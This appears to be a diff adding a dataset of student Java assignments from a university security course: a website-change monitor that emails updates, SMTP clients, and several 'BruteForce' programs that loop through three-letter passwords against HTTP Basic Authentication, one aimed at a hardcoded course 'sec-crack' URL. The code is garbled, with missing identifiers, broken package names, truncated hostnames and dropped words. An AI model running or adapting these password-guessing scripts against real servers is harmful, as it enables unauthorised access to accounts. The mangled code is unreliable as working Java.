+                        System.out.println(""   [NOTIFY] E-mail SUCCESSFULLY sent."");
+                    } else {
+                        System.out.println(""   [ATTENTION] Error sending e-mail."");
+                    }
+                }
+                
+                
+                if (DEBUGMODE) {
+                    System.out.println();
+                    System.out.println();
+                    System.out.println(""   This is the e-mail message that has been sent  '""+MYEMAIL+""'"");
+                    System.out.println(""      this message *ONLY* and because   in DEBUG MODE"");
+                    System.out.println(""   ================================================================================="");
+                    System.out.println();
+                    for (int i=0;i<mailmsg.length;i++)
+                        System.out.println(mailmsg[i]);
+                    System.out.println();
+                    System.out.println(""   ================================================================================="");
+                    System.out.println();
+                    System.out.println();
+                }
+                updateCache(false);
+            }
+            
+            
+            System.out.println();
+            System.out.println("" Checking completed  ""+Calendar.getInstance().getTime());
+            System.out.println("" ----------------- [ CHECKING COMPLETED ] ----------------- "");
+            System.out.println();
+            Parser.print();
+        }
+        
+        public void finalize() {
+            System.out.println(""Closing the parser object."");
+            Parser.print();
+        }
+        
+        private String[] imgList;
+        private String[] imgW;
+        private String[] imgH;
+        private String[] imgLM;
+        private String[] imgCom;
+        private String[] imgDel;
+        private String[] imgNew;
+        private String[] imgMod;
+        private ImageDownloader[]  imgDL;
+        private NotesFileManager NotesFM;
+        private HTMLDownloaderAndImgParser Parser;
+        private String[] textdiff;
+    }
+    
+    
+    public WatchDog() {
+        System.out.println(""The URL   checked is '""+THEURL+""'"");
+        System.out.println(""Checking scheduled for every ""+INTERVAL+"" seconds"");
+        if (DEBUGMODE) {
+            System.out.println();
+            System.out.println(""PROGRAM RUNS IN DEBUG MODE !"");
+        }
+        System.out.println();
+        
+        System.out.println(""The notes file is '""+NOTESFILE+""'"");
+        System.out.println(""The   file is '""+DIGESTFILE+""'"");
+        System.out.println();
+        
+        java.util.Timer t = new java.util.Timer();
+        t.schedule(new MyTT(),0,INTERVAL*1000);
+    }
+    
+    public static void printSyntax() {
+        System.out.println();
+        System.out.println(""Syntax : WatchDog [URL] [Interval] [-debug]"");
+        System.out.println(""         URL      = (optional) the URL   monitored (default : 'http://www.cs.rmit.edu./students/' )"");
+        System.out.println(""         Interval = (optional) every [interval] seconds check if  is any updates (default 24 x 60 x 60 = 24 hours)"");
+        System.out.println(""         -debug   = (optional) run this program in debug mode; that is, dump all  (html and images  local file)"");
+        System.out.println();
+    }
+    
+    public static void main(String args[]) {
+        
+        
+           System.setProperty(""java.awt.headless"",""true"");
+        
+         
+        
+        int argc = args.length;
+        
+        if (argc>0) {
+            THEURL = args[0];
+            try {
+                url  = new URL(THEURL);
+                conn = (HttpURLConnection) url.openConnection();
+                conn.getResponseMessage();
+                conn.getInputStream();
+                conn.disconnect();
+            } catch (MalformedURLException e) {
+                System.out.println();
+                System.out.println(""Invalid URL '""+THEURL+""'"");
+                printSyntax();
+                System.exit(1);
+            } catch (UnknownHostException e) {
+                System.out.println();
+                System.out.println(""Unable  open connection  the URL '""+THEURL+""'"");
+                printSyntax();
+                System.exit(1);
+            } catch (IOException  e) {
+                System.out.println();
+                System.out.println(""Unable  open connection  the URL '""+THEURL+""'"");
+                printSyntax();
+                System.exit(1);
+            }
+            
+            if (argc>1) {
+                try {
+                    INTERVAL = Integer.valueOf(args[1]).intValue();
+                } catch (NumberFormatException e) {
+                    System.out.println(""Invalid interval '""+args[1]+""'"");
+                    printSyntax();
+                    System.exit(1);
+                }
+            }
+            
+            if (argc>2) {
+                if (args[2].toLowerCase().equals(""-debug"")) {
+                    DEBUGMODE = true;
+                } else {
+                    System.out.println(""Invalid parameter '""+args[2]+""'"");
+                    printSyntax();
+                    System.exit(1);
+                }
+            }
+        }
+        
+        Application = new WatchDog();
+    }
+    
+    
+    public static String    THEURL     = ""http://www.cs.rmit.edu./students"";
+    public static String    MYEMAIL    = ""@yallara.cs.rmit.edu."";
+    public static int       MAILTARGET = 2; 
+    public static String    SMTPSERVER = ""wombat.cs.rmit.edu."";
+    public static boolean   DEBUGMODE  = true;
+    public static String    CURDIR     = System.getProperty(""user.dir"");
+    public static String    PAGEFILE   = System.getProperty(""user.dir"")+""/~local.html"";
+    public static String    DIGESTFILE = System.getProperty(""user.dir"")+""/~digest.txt"";
+    public static String    TEMPFILE   = System.getProperty(""user.dir"")+""/~.html"";
+    public static String    NOTESFILE  = System.getProperty(""user.dir"")+""/~notes.txt"";
+    public static String    MAILFILE   = System.getProperty(""user.dir"")+""/~email.txt"";
+    public static final int MAXDIGESTFILE = 65535;
+    public static final String DIGESTALG  = ""SHA"";
+    public static URL       url;
+    public static HttpURLConnection conn;
+    public static int       INTERVAL = 24*60*60; 
+    public static int       MAXDIFF  = 1024; 
+    public static WatchDog  Application;
+    
+}
+
+"
+156.java,"
+
+
+
+import java.net.*;
+import java.io.*;
+import java.util.Date;
+
+public class BruteForce {
+  private URL url;
+  private HttpURLConnection connection;
+  private static String[] lowerCase = {""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"",
+                                       ""k"", ""l"", ""m"", ""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"",
+                                       ""u"", ""v"", ""w"", ""x"", ""y"", ""z""};
+  private static String[] upperCase = {""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"", ""J"",
+                                       ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"",
+                                       ""U"", ""V"", ""W"", ""X"", ""Y"", ""Z""};
+  private String userPassword, base64_userPassword;
+  private static char wrongPass;
+
+  public BruteForce() {
+    wrongPass = 'Y';
+  }
+
+  public char determinePass(String inputURL, String userName, String passWord){
+
+    try{
+        url = new URL(inputURL);
+        connection = (HttpURLConnection)url.openConnection();
+        this.getEncoded(userName, passWord);
+        connection.setDoInput(true);
+        connection.setDoOutput(false);
+        connection.setRequestProperty(""Authorization"",
+                                      "" "" + base64_userPassword);
+
+        if  (connection.getResponseCode() == 200)
+        {
+          System.out.println(""Success!! Password is: "" + passWord);
+          wrongPass = 'N';
+        }
+
+        return wrongPass;
+    }
+    catch (MalformedURLException e){System.out.println(""Invalide url"");}
+    catch (IOException e){System.out.println(""Error  URL"");
+                          wrongPass = 'Y';}
+    return wrongPass;
+  }
+
+  public static void main(String[] args) {
+    int i, j, k;
+    String brutePass;
+
+    BruteForce bruteForce1 = new BruteForce();
+
+    Date date = new Date(System.currentTimeMillis());
+    System.out.print("" time is: "");
+    System.out.println(date.toString());
+    
+    
+    
+
+    
+    for  (i = 0; i < 26; i++)
+    { for  (j = 0; j < 26; j++)
+      { for  (k = 0; k < 26; k++)
+        {
+           brutePass = lowerCase[i] + lowerCase[j] + lowerCase[k];
+           bruteForce1.determinePass(args[0], args[1], brutePass);
+           if  (wrongPass == 'N')
+           { i = 26;
+             j = 26;
+             k = 26;
+           }}}}
+
+     if  (wrongPass == 'N')
+     {
+       date.setTime(System.currentTimeMillis());
+       System.out.print(""End time is: "");
+       System.out.println(date.toString());
+       System.exit(0);
+     }
+
+
+    
+    for  (i = 0; i < 26; i++)
+    { for  (j = 0; j < 26; j++)
+      { for  (k = 0; k < 26; k++)
+        {
+           brutePass = upperCase[i] + upperCase[j] + upperCase[k];
+           bruteForce1.determinePass(args[0], args[1], brutePass);
+           if  (wrongPass == 'N')
+           { i = 26;
+             j = 26;
+             k = 26;
+           }}}}
+
+    if  (wrongPass == 'N')
+    {
+      date.setTime(System.currentTimeMillis());
+      System.out.print(""End time is: "");
+      System.out.println(date.toString());
+      System.exit(0);
+    }
+
+    
+    for  (i = 0; i < 26; i++)
+    { for  (j = 0; j < 26; j++)
+      { for  (k = 0; k < 26; k++)
+        {
+           brutePass = upperCase[i] + upperCase[j] + lowerCase[k];
+           bruteForce1.determinePass(args[0], args[1], brutePass);
+           if  (wrongPass == 'N')
+           { i = 26;
+             j = 26;
+             k = 26;
+           }}}}
+
+    if  (wrongPass == 'N')
+    {
+      date.setTime(System.currentTimeMillis());
+      System.out.print(""End time is: "");
+      System.out.println(date.toString());
+      System.exit(0);
+    }
+
+    
+    for  (i = 0; i < 26; i++)
+    { for  (j = 0; j < 26; j++)
+      { for  (k = 0; k < 26; k++)
+        {
+           brutePass = upperCase[i] + lowerCase[j] + upperCase[k];
+           bruteForce1.determinePass(args[0], args[1], brutePass);
+           if  (wrongPass == 'N')
+           { i = 26;
+             j = 26;
+             k = 26;
+           }}}}
+
+    if  (wrongPass == 'N')
+    {
+      date.setTime(System.currentTimeMillis());
+      System.out.print(""End time is: "");
+      System.out.println(date.toString());
+      System.exit(0);
+    }
+
+    
+    for  (i = 0; i < 26; i++)
+    { for  (j = 0; j < 26; j++)
+      { for  (k = 0; k < 26; k++)
+        {
+           brutePass = upperCase[i] + lowerCase[j] + lowerCase[k];
+           bruteForce1.determinePass(args[0], args[1], brutePass);
+           if  (wrongPass == 'N')
+           { i = 26;
+             j = 26;
+             k = 26;
+           }}}}
+
+    if  (wrongPass == 'N')
+    {
+      date.setTime(System.currentTimeMillis());
+      System.out.print(""End time is: "");
+      System.out.println(date.toString());
+      System.exit(0);
+    }
+
+    
+    for  (i = 0; i < 26; i++)
+    { for  (j = 0; j < 26; j++)
+      { for  (k = 0; k < 26; k++)
+        {
+           brutePass = lowerCase[i] + upperCase[j] + upperCase[k];
+           bruteForce1.determinePass(args[0], args[1], brutePass);
+           if  (wrongPass == 'N')
+           { i = 26;
+             j = 26;
+             k = 26;
+           }}}}
+
+    if  (wrongPass == 'N')
+    {
+      date.setTime(System.currentTimeMillis());
+      System.out.print(""End time is: "");
+      System.out.println(date.toString());
+      System.exit(0);
+    }
+
+    
+    for  (i = 0; i < 26; i++)
+    { for  (j = 0; j < 26; j++)
+      { for  (k = 0; k < 26; k++)
+        {
+           brutePass = lowerCase[i] + upperCase[j] + lowerCase[k];
+           bruteForce1.determinePass(args[0], args[1], brutePass);
+           if  (wrongPass == 'N')
+           { i = 26;
+             j = 26;
+             k = 26;
+           }}}}
+
+    if  (wrongPass == 'N')
+    {
+      date.setTime(System.currentTimeMillis());
+      System.out.print(""End time is: "");
+      System.out.println(date.toString());
+      System.exit(0);
+    }
+
+    
+    for  (i = 0; i < 26; i++)
+    { for  (j = 0; j < 26; j++)
+      { for  (k = 0; k < 26; k++)
+        {
+           brutePass = lowerCase[i] + lowerCase[j] + upperCase[k];
+           bruteForce1.determinePass(args[0], args[1], brutePass);
+           if  (wrongPass == 'N')
+           { i = 26;
+             j = 26;
+             k = 26;
+           }}}}
+
+    date.setTime(System.currentTimeMillis());
+    System.out.print(""End time is: "");
+    System.out.println(date.toString());
+
+  }
+
+  private void getEncoded(String userName, String password){
+    userPassword = userName + "":"" + password;
+    base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
+  }
+
+}
+"
+015.java,"
+
+
+
+public class HoldSharedData
+{
+    private int      numOfConnections = 0;
+    private   int   startTime;
+    private   int   totalTime = 0;
+    private String[] password;
+    private int      pwdCount;
+
+    public HoldSharedData( int time, String[] pwd, int count )
+    {
+        startTime = time;
+
+        password = pwd;
+        pwdCount = count;
+    }
+
+    public int getPwdCount()
+    {
+        return pwdCount;
+    }
+
+    public void setNumOfConnections( )
+    {
+        numOfConnections ++;
+    }
+
+    public int getNumOfConnections()
+    {
+        return numOfConnections;
+    }
+
+    public int getStartTime()
+    {
+        return startTime;
+    }
+
+    public void setTotalTime( int newTotalTime )
+    {
+        totalTime = newTotalTime;
+    }
+
+    public int  getTotalTime()
+    {
+        return totalTime;
+    }
+
+    public String getPasswordAt( int index )
+    {
+        return password[index];
+    }
+}  
+"
+179.java,"import java.net.*;
+import java.io.*;
+
+
+public class EmailClient
+{
+	private String sender, recipient, hostName;
+
+	public EmailClient(String nSender, String nRecipient, String nHost)
+	{
+		sender = nSender;
+		recipient = nRecipient;
+		hostName = nHost;
+	}
+
+	public void sendMail(String subject, String message)
+	{
+		try
+		{
+			Socket s1=null;
+			InputStream	is = null;
+			OutputStream os = null;
+
+			DataOutputStream  = null;
+
+			s1 = new Socket(hostName,25);
+			is = s1.getInputStream();
+			os = s1.getOutputStream();
+
+			bd = new DataOutputStream(os);
+
+			BufferedReader response = new BufferedReader(new InputStreamReader(is));
+
+			bd.writeBytes(""HELO ""+ InetAddress.getLocalHost().getHostName() + ""\r\n"");
+
+			waitForSuccessResponse(response);
+
+			bd.writeBytes(""MAIL FROM:""+sender+""\n"");
+
+			waitForSuccessResponse(response);
+
+			bd.writeBytes(""RCPT :""+recipient+""\n"");
+
+			waitForSuccessResponse(response);
+
+			bd.writeBytes(""data""+""\n"");
+
+			bd.writeBytes(""Subject:""+subject+""\n"");
+
+			bd.writeBytes(message+""\n.\n"");
+
+			waitForSuccessResponse(response);
+		}
+
+		catch (UnknownHostException badUrl)
+		{
+			System.out.println(""Host unknown."");
+		}
+
+		catch (EOFException eof)
+		{
+			System.out.println(""<EOF>"");
+		}
+		catch (Exception e)
+		{
+			System.out.println(""got exception: ""+e);
+		}
+	}
+
+	private static void	waitForSuccessResponse(BufferedReader response) throws IOException
+	{
+		String rsp;
+		boolean r250 = false;
+
+		while( ! r250 )
+		{
+			rsp = response.readLine().trim();
+
+			if(rsp.startsWith(""250""))
+				r250 = true;
+		}
+
+	}
+}"
+093.java,"
+import java.io.*;
+import java.text.*;
+
+public class TestWatchDog{
+       
+       class NegativeValueException extends Exception{
+             public NegativeValueException() { super(""It is not  Integer."" ); }
+             public NegativeValueException(int n) { super(n  + ""- Negative Number Input."");}
+             public NegativeValueException(double n) {super(n +""Not  Integer."");}
+             public NegativeValueException(String s){super(""Invalid Data Type Input"");}
+       }
+       
+       public int getNumber()throws NegativeValueException, NumberFormatException, IOException{
+		      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
+		      int number;
+		      try{
+			      number = Integer.parseInt(stdin.readLine());
+		      }catch (NumberFormatException e){throw e;}
+		      if (number< 0) throw new NegativeValueException(number);
+		      return number;
+	   }
+	   
+	   public String getStringInfo()throws Exception{
+		      BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
+		      String strInfo = stdin.readLine();
+		      if ((strInfo.trim().equals(""""))||(strInfo.equals(""\r"")))
+		         throw new Exception( strInfo +""  Invalid input!"");
+	          return strInfo;
+	   }
+	   
+	   public String getAnyKey()throws Exception{
+		      BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
+		      String key= stdin.readLine();
+	          return key;
+	   }
+	   
+	   public static void main (String[]args){
+
+               String spec = """";
+               String smtpserver= """";
+               String mfrom = """";
+               String mto = """";
+
+               int port = 0;
+               int option =0;
+               int duration = 0;
+               int interval = 0;
+               boolean valid = false;
+               TestWatchDog twd = new TestWatchDog();
+               WatchDog wd = new WatchDog();
+
+               System.out.println(""\n ***********************************************************"");
+               System.out.println("" *                                                         *"");
+               System.out.println("" *      WatchDog Program  ------ SEC  Assignment Two       *"");
+               System.out.println("" *   --------------------------------------------------    *"");
+               System.out.println("" *           Author:     ID              *"");
+               System.out.println("" *   --------------------------------------------------    *"");
+               System.out.println("" *                                                         *"");
+               System.out.println("" * < Options >                                             *"");
+               System.out.println("" *  1). Uses the default configuration  monitor Web Site *"");
+               System.out.println("" *               ----- http://www.cs.rmit.edu./students/ *"");
+               System.out.println("" *  2). Monitor the Web Site that user specified           *"");
+               System.out.println("" *                                                         *"");
+               System.out.println("" ***********************************************************"");
+               while (!valid){
+                    System.out.print(""\nPlease Choose  option: "");
+			   	    try{
+					    option = twd.getNumber();
+					    valid = true;
+				    }catch(Exception e){System.out.println(""Warning! Invalid Input!""
+                                       + e.getMessage()+"" Try again!"");}
+			        if ((option ==1)||(option ==2))
+			             valid = true;
+			        else{
+			             System.out.println(""Invalid Input. Try it again!"");
+			             valid = false;
+			        }
+               }
+               
+               if(option == 1){
+                  
+                  System.out.println(""\n    Default Configuration:\n"");
+                  System.out.println(""--> Monitor WebSite: "" + wd.getMonitorURL());
+                  System.out.println(""--> Monitor Duration: "" + 30*24 + "" hours (30 days)"");
+                  System.out.println(""--> Check Webpage Intervals: "" + wd.getInterval()/(1000*60) + "" minutes (24 hrs)"");
+                  System.out.println(""--> SMTP server: "" +wd.getSMTPServer() + "" Port: "" + wd.getPortnumber());
+                  System.out.println(""--> MailFrom: "" + wd.getMailFrom());
+                  System.out.println(""--> MailTo: "" + wd.getMailTo());
+                  valid = false;
+                  
+                  while (!valid){
+                        System.out.print(""\n    Press EnterKey  :"");
+                         try{
+                            String key = twd.getAnyKey();
+                            valid = true;
+                         }catch(Exception e){System.out.println(e.getMessage());}
+                  }
+                  
+                  wd.FirstRead();
+                  wd.print();
+
+               }
+               valid = false;
+               
+               if(option == 2){
+                  System.out.println(""\n  Modified the Configuration:\n"");
+                  
+                  while (!valid){
+                        System.out.println(""> Input the URL of the web  <Usage: http://yallara.cs.rmit.edu./~/>: "");
+                         try{
+                             spec = twd.getStringInfo();
+                             valid = true;
+                         }catch(Exception e){System.out.println(e.getMessage());}
+                  }
+                  valid = false;
+                  
+                  while (!valid){
+                        System.out.println(""> Input the Monitor Duration <Usage: 24 - (format: hours)>:"");
+                         try{
+                             duration = twd.getNumber();
+                             valid = true;
+                         }catch(Exception e){System.out.println(e.getMessage());}
+                  }
+                  valid = false;
+                  
+                  while (!valid){
+                        System.out.println(""> Input the Interval for Checking Webpage <Usage: 30 - (format: minutes)>:"");
+                         try{
+                             interval  = twd.getNumber();
+                             valid = true;
+                         }catch(Exception e){System.out.println(e.getMessage());}
+                  }
+                  valid = false;
+                  
+                  while (!valid){
+                        System.out.println(""> Set the Mail Server <Usage: mail.rmit.edu.>:"");
+                         try{
+                             smtpserver  = twd.getStringInfo();
+                             valid = true;
+                         }catch(Exception e){System.out.println(e.getMessage());}
+                  }
+                  valid = false;
+                  
+                  while (!valid){
+                        System.out.println(""> Set the Port Number <Usage: 25 - (default port 25 for smtp server)>:"");
+                         try{
+                             port  = twd.getNumber();
+                             valid = true;
+                         }catch(Exception e){System.out.println(e.getMessage());}
+                  }
+                  valid = false;
+                  
+                  while (!valid){
+                        System.out.println(""> Set the MailFrom <Usage: @cs.rmit.edu.>:"");
+                         try{
+                             mfrom = twd.getStringInfo();
+                             valid = true;
+                         }catch(Exception e){System.out.println(e.getMessage());}
+                  }
+                  valid = false;
+                  
+                  while (!valid){
+                        System.out.println(""> Set the MailTo <Usage: @.rmit.edu.>:"");
+                         try{
+                             mto = twd.getStringInfo();
+                             valid = true;
+                         }catch(Exception e){System.out.println(e.getMessage());}
+                  }
+                  
+                  System.out.println(""\n    new  Configuration:\n"");
+                  System.out.println(""-> Monitor WebSite: "" + spec);
+                  System.out.println(""-> Monitor Duration: "" + duration + "" hours"");
+                  System.out.println(""-> Check Webpage Intervals: "" + interval + "" minutes"");
+                  System.out.println(""-> SMTP server: "" +smtpserver + "" Port: "" + port);
+                  System.out.println(""-> MailFrom: "" + mfrom);
+                  System.out.println(""-> MailTo: "" + mto);
+                  valid = false;
+                  
+                  while (!valid){
+                        System.out.print(""\n    Press EnterKey  :"");
+                         try{
+                            String key = twd.getAnyKey();
+                            valid = true;
+                         }catch(Exception e){System.out.println(e.getMessage());}
+                  }
+                  
+                  wd.setMonitorURL(spec);
+                  wd.setMonitorDuration(duration);
+                  wd.setMonitorInterval(interval);
+                  wd.setSMTPServer(smtpserver);
+                  wd.setSMTPPort(port);
+                  wd.setMailFrom(mfrom);
+                  wd.setMailTo(mto);
+                  
+                  wd.FirstRead();
+                  wd.print();
+               }
+       }
+}"
+050.java,"import java.net.*;
+import java.io.*;
+import java.*;
+import java.Runtime.*;
+import java.Object.*;
+import java.util.*;
+import java.util.StringTokenizer;
+
+public class makePasswords
+{
+  public String [ ]  alphabet1 = {""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"",
+  ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", ""W"", ""X"",
+  ""Y"", ""Z"", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"",
+  ""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z""};
+  
+  public String [ ]  alphabet2 = {""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"",
+  ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", ""W"", ""X"",
+  ""Y"", ""Z"", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"", ""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z""};
+  
+  public String [ ]  alphabet3 = {""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"",
+  ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", ""W"", ""X"",
+  ""Y"", ""Z"", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"",
+  ""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z""};
+  
+  Vector in = new Vector();
+  
+  public void makePass()
+  {
+   try
+  {
+  PrintWriter pw = new PrintWriter(new FileWriter(""new.txt""));
+  
+    for(int i = 0; i < alphabet1.length; i++)
+    {
+      for(int j = 0; j < alphabet2.length; j++)
+       {
+        for(int k = 0; k < alphabet3.length; k++)
+	   {
+	    String newStr = (alphabet1[i]+alphabet2[j]+alphabet3[k]);
+	    pw.println(newStr);
+	  }
+      }
+    }
+    }catch(Exception ex){} 
+  }
+  
+  
+  private StringTokenizer tokenizer;
+  private BufferedReader bf;
+  private String line;
+  private String first;
+   
+  public void loadFile()throws NoSuchElementException, IOException
+  {
+    
+    try{
+    bf = new BufferedReader(new FileReader(""new.txt""));
+    }
+    catch(FileNotFoundException fe){}
+    catch(IOException io){}
+    while((line = bf.readLine())!=null)
+      {
+
+        int index = 0;
+        tokenizer = new StringTokenizer(line);
+        try
+	   {
+	     first = tokenizer.nextToken();
+	     
+	     
+	     if (first.length() == 3)
+	     {
+		in.add(first);
+	     }
+	  }
+        catch(NoSuchElementException n)
+	   {
+          System.out.println(""File Loaded Succesfully"");
+
+        }
+
+      }
+   }
+   public Vector getVector()
+  {
+    return in;
+  }
+  
+  
+  
+  public static void main(String args[])
+  {
+    makePasswords mP = new makePasswords();
+    mP.makePass();
+    Vector v = mP.getVector();
+    
+  }
+}
+"
+099.java,"
+
+import java.net.*;
+import java.io.*;
+import java.io.IOException;
+import java.util.*;
+import java.*;
+
+
+public class BruteForce {
+    public static void main (String[] args) throws Exception {
+      int maxChar = 26, counter=0, x =0, attempt =0 ;
+      String guess = new String();
+      String pass, inputLine;
+      String letter[] = {"""", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"", ""n"", ""o"",
+                            ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z"" , ""A"", ""B"", ""C"", ""D"", ""E""
+                     , ""F"", ""G"", ""H"", ""I"", ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"",
+                     ""W"", ""X"", ""Y"", ""Z""};
+
+        boolean flag=false;
+
+       System.out.println(System.currentTimeMillis()/1000);
+
+               for (int i=0; i<maxChar ; i++){
+                   for (int j=0 ; j<maxChar ; j++){
+                       for (int k=0 ; k<maxChar ; k++){
+                              guess = letter[i]+letter[j]+letter[k];
+                              attempt++;
+                              System.out.println(guess);
+                              pass = "":"" + guess;
+                              String password = new bf.misc.BASE64Encoder().encode(pass.getBytes());
+                              try{
+                                 URL u = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+                                 URLConnection yc = u.openConnection();
+                                 yc.setRequestProperty(""Authorization"","" ""+password);
+                                 BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
+                                 while ((inputLine = in.readLine()) != null)
+                                        System.out.println(inputLine);
+                                in.print();
+                                System.out.println(guess);
+                                System.out.println(System.currentTimeMillis()/1000);
+                                System.out.println("" of attempt: ""+attempt);
+                                System.exit(0);
+
+                             }catch(IOException e){ }
+                      }
+                  }
+               }
+    }
+}"
+181.java,"import java.net.*;
+import java.io.*;
+
+
+public class BruteForce extends Authenticator {
+
+    
+    private String username;
+    
+    private URL url;
+    
+    private char [] nextPassword;
+    
+    private char [] thisPassword;
+
+    
+    public static void main(String [] args) {
+        if(args.length!=2) {
+            System.err.println(""usage: BruteForce <url> <username>"");
+            System.exit(1);
+        }
+        BruteForce bf = null;
+        try {
+            bf = new BruteForce(args[0], args[1]);
+        } catch (MalformedURLException me) {
+            me.printStackTrace();
+            System.exit(1);
+        }
+        bf.work();
+        System.exit(0);
+    }
+
+    
+    public BruteForce(String url, String username) 
+            throws MalformedURLException {
+        this.url = new URL(url);
+        this.username = username;
+        this.nextPassword = new char [] {'a'};
+    }
+
+    
+    public void work() {
+        Authenticator.setDefault(this);
+        HttpURLConnection uc = null;
+        try {
+            uc = (HttpURLConnection) url.openConnection();
+            uc.connect();
+	        while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED
+                    && nextPassword!=null) {
+                try {
+                    InputStream is = uc.getInputStream();
+                    uc.connect();
+                } catch (ProtocolException pe) {
+                    uc = (HttpURLConnection) url.openConnection();
+                } catch (NullPointerException npe) {
+                    npe.printStackTrace();
+                    System.exit(1);
+                } 
+            }
+        } catch (java.io.IOException e) {
+            e.printStackTrace();
+            System.exit(1);
+        }
+        System.out.println(""password="" + new String(thisPassword));
+    }
+
+    
+    public PasswordAuthentication getPasswordAuthentication() {
+        createNextPassword();
+        return new PasswordAuthentication(username, thisPassword);
+    }
+
+    
+    public void createNextPassword() {
+        int i;
+        if(thisPassword==null) {
+            thisPassword = new char [] {'A', 'A', 'A'};
+            nextPassword = new char [] {'A', 'A', 'B'};
+            return;
+        }
+        thisPassword = nextPassword;
+        if(nextPassword[2]=='Z') {
+            nextPassword[2]='a';
+            return;
+        } else if(nextPassword[2]!='z') {
+            i = (int) nextPassword[2];
+            nextPassword[2]=(char) ++i;
+        } else {
+            nextPassword[2]='A';
+            if(nextPassword[1]=='Z') {
+                nextPassword[1]='a';
+            } else if(nextPassword[1]!='z') {
+                i = (int) nextPassword[1];
+                nextPassword[1]=(char) ++i;
+            } else {
+                nextPassword[1]='A';
+                if(nextPassword[0]=='Z') {
+                    nextPassword[0]='a';
+                } else if(nextPassword[0]!='z') {
+                    i = (int) nextPassword[0];
+                    nextPassword[0]=(char) ++i;
+                } else {
+                    nextPassword = null;
+                }
+            }
+        }
+    }
+}
+"
+183.java,"
+
+import java.awt.*;
+import java.awt.event.*;
+import java.io.*;
+import java.net.*;
+
+public class BruteForce extends Frame implements ActionListener {
+	private TextField tf = new TextField();
+    private TextArea  ta = new TextArea();
+
+  	public void actionPerformed (ActionEvent e) {
+		String s = tf.getText();
+		String login="""";
+
+		if (s.length() != 0)
+		{
+			char symbol = 'A';
+
+			login="":"";
+			
+			for(int i = 0; i < 3; i++)
+			{
+				symbol = (char)(57.0 * Math.random() + 65);
+
+				if(symbol>90 && symbol<97){
+					i--;
+					continue;
+				}
+				login=login+symbol;
+
+			}
+
+		    ta.setText (fetchURL (s,login));
+		    System.out.println(""runing""+login);
+		}while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error  URL"")!=0);
+
+		System.out.println(""The password is: ""+login);
+	}
+
+	public BruteForce() {
+		super (""SEC-CRACK"");
+
+	    
+	    add (tf, BorderLayout.LEFT);
+	    ta.setEditable(false);
+	    add (ta, BorderLayout.CENTER);
+	    tf.addActionListener (this);
+
+	    addWindowListener (new WindowAdapter() {
+	       public void windowClosing (WindowEvent e) {
+	         dispose();
+	         System.exit(0);
+	       }
+	     });
+	}
+
+	private String fetchURL (String urlString,String login) {
+		StringWriter sw = new StringWriter();
+	    PrintWriter  pw = new PrintWriter();
+
+	    try {
+	       URL url = new URL (urlString);
+
+	     
+	
+	       
+
+	      
+	       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());
+
+	      
+	       URLConnection uc = url.openConnection();
+	       uc.setRequestProperty  (""Authorization"", "" "" + encoding);
+	       InputStream content = (InputStream)uc.getInputStream();
+	       BufferedReader in   =
+	         new BufferedReader (new InputStreamReader (content));
+	       String line;
+	       while ((line = in.readLine()) != null) {
+	         pw.println (line);
+	       }
+	     } catch (MalformedURLException e) {
+	       pw.println (""Invalid URL"");
+	     } catch (IOException e) {
+	       pw.println (""Error  URL"");
+	     }
+	     return sw.toString();
+	}
+
+
+	public static void  main(String args[]) {
+		Frame f = new BruteForce();
+	    f.setSize(300, 300);
+	    f.setVisible (true);
+	}
+}
+
+
+
+
+class  Base64Converter
+{
+	public static final char [ ]  alphabet = {
+        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
+        '4', '5', '6', '7', '8', '9', '+', '/' }; 
+
+
+     public static String  encode ( String  s )
+     {
+        return encode ( s.getBytes ( ) );
+     }
+
